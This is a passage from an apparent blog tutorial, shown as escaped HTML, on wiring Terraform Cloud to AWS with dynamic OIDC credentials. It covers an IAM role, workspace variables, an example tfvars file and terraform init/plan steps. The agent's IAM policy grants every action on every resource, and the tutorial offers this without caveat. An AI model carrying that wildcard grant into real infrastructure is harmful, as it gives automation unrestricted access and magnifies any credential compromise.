#F47067\"\u003e${\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003evar\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_project_name\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e}\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:workspace:\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e${\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eworkspace\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e}\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:run_phase:*\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      ]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    actions\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e[\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"sts:AssumeRoleWithWebIdentity\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"aws_iam_role\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfc-agent\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  name\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e               \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"tfc-agent\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  assume_role_policy\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003edata\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eaws_iam_policy_document\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eassume_role\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ejson\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #768390\"\u003e/* Policy for what the TFC agent is allowed to do */\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003edata\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"aws_iam_policy_document\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfc-agent\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  version\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2012-10-17\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003estatement\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    actions\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e[\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"*\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    effect\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Allow\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    resources\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e[\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"*\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"aws_iam_policy\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfc-agent\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  name\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"tfc-agent-access-policy\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  description\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Access policy for the TFC agent\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  policy\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003edata\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eaws_iam_policy_document\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc-agent\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ejson\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"aws_iam_role_policy_attachment\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfc-access-attach\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  role\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eaws_iam_role\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc-agent\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ename\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  policy_arn\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eaws_iam_policy\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc-agent\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003earn\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfe_workspace\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"workspaces\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  count\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003elength\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(var\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_workspaces)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  name\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003evar\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_workspaces[count\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eindex]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  organization\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfe_organization\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eorganization\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ename\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  working_directory\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003evar\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_workspaces[count\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eindex]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #768390\"\u003e/* These variables tell the agent to use dynamic credentials */\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfe_variable\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfc-auth\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  count\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003elength\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(var\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_workspaces)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  key\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"TFC_AWS_PROVIDER_AUTH\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  value\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003etrue\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  category\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"env\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  workspace_id\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfe_workspace\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eworkspaces[count\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eindex]\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eid\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  description\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Enable dynamic auth on the TFC agents\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfe_variable\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfc-role\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  count\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003elength\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(var\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_workspaces)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  key\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"TFC_AWS_RUN_ROLE_ARN\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  value\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eaws_iam_role\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc-agent\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003earn\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  category\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"env\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  workspace_id\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfe_workspace\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eworkspaces[count\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eindex]\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eid\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  description\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Tell TFC what Role to run as\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis module is dynamic because there is one piece that will require a\nmanual oauth setup for github.  So the first pass will apply without it\nand then later on we'll create it and run the apply again.\u003c/p\u003e\n\u003ch2\u003eApplying the changes\u003c/h2\u003e\n\u003cp\u003eNow we just need to define our settings for the module and we'll get our\ninfrastructure applied.  Create a file called \u003ccode\u003esettings.auto.tfvars\u003c/code\u003e and\npopulate it with the content for your account.  This is an example of what\nthis should look like:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"hcl\" data-theme=\"default\"\u003e\u003ccode data-language=\"hcl\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_organization_name\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"sontek\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_organization_owner\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"john@sontek.net\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #768390\"\u003e# The workspaces you want to create and be able to manage with IaC\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_workspaces\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e[\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"root\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #768390\"\u003e# this can be your username\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003egithub_organization\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"sontek\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003egithub_repo_name\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"sontek-infra\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003eaws_root_account_id\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"888888888888\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow run:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eterraform\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elogin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eterraform\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einit\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eand you should see:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eTerraform has been successfully initialized!\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow lets run our plan:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e❯ terraform plan\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou should see a result:\u003c/p\u003e\n\u003cdiv 